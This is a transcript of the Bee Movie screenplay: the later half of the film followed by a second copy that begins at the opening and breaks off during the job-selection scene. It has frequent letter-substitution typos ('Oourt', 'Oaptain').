Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that. Special thanks to SergeiK.
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S4ltster / BeemovieBee Movie script for educational purposes only, anyways According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Coming! Hang on a second. Hello? Barry? Adam? Can you believe this is happening? I can't. I'll pick you up. Looking sharp. Use the stairs, Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. You got lint on your fuzz. Ow! That's me! Wave to us! We'll be in row 118,000. Bye! Barry, I told you, stop flying in the house! Hey, Adam. Hey, Barry. Is that fuzz gel? A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around The Hive. You did come back different. Hi, Barry. Artie, growing a mustache? Looks good. Hear about Frankie? Yeah. You going to the funeral? No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp under the circumstances. Well, Adam, today we are men. We are! Bee-men. Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive City graduating class of 9:15. That concludes our ceremonies And begins your career at Honex Industries! Will we pick our job today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. Wonder what it'll be like? A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to The Hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! That girl was hot. She's my cousin! She is? Yes, we're all cousins. Right. You're right. At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. What do you think he makes? Not enough. Here we have our latest advancement, the Krelman. What does that do? Catches that little strand of honey that hangs after you pour it. Saves us millions. Can anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Check it out. Hey, those are Pollen Jocks! Wow. I've never seen them this close. They know what it's like outside The Hive. Yeah, but some don't come back. Hey, Jocks! Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! I wonder where they were. I don't know. Their day's not planned. Outside The Hive, flying who knows where, doing who knows what. You can't just decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. Couple of Hive Harrys. Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! Oh, my! I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. Six miles, huh? Barry! A puddle jump for us, but maybe you're not up for it. Maybe I am. You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? Well, there's a lot of choices. But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! Barry, you are so funny sometimes. I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! You're gonna be a stirrer? No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. We're starting work today! Today's the day. Come on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... Is it still available? Hang on. Two left! One of them's yours! Congratulations! Step to the side. What'd you get? Picking crud out. Stellar! Wow! Couple of newbies? Yes, sir! Our first day! We are ready! Make your choice. You want to go first? No, you go. Oh, my. What's available? Restroom attendant's open, not for the 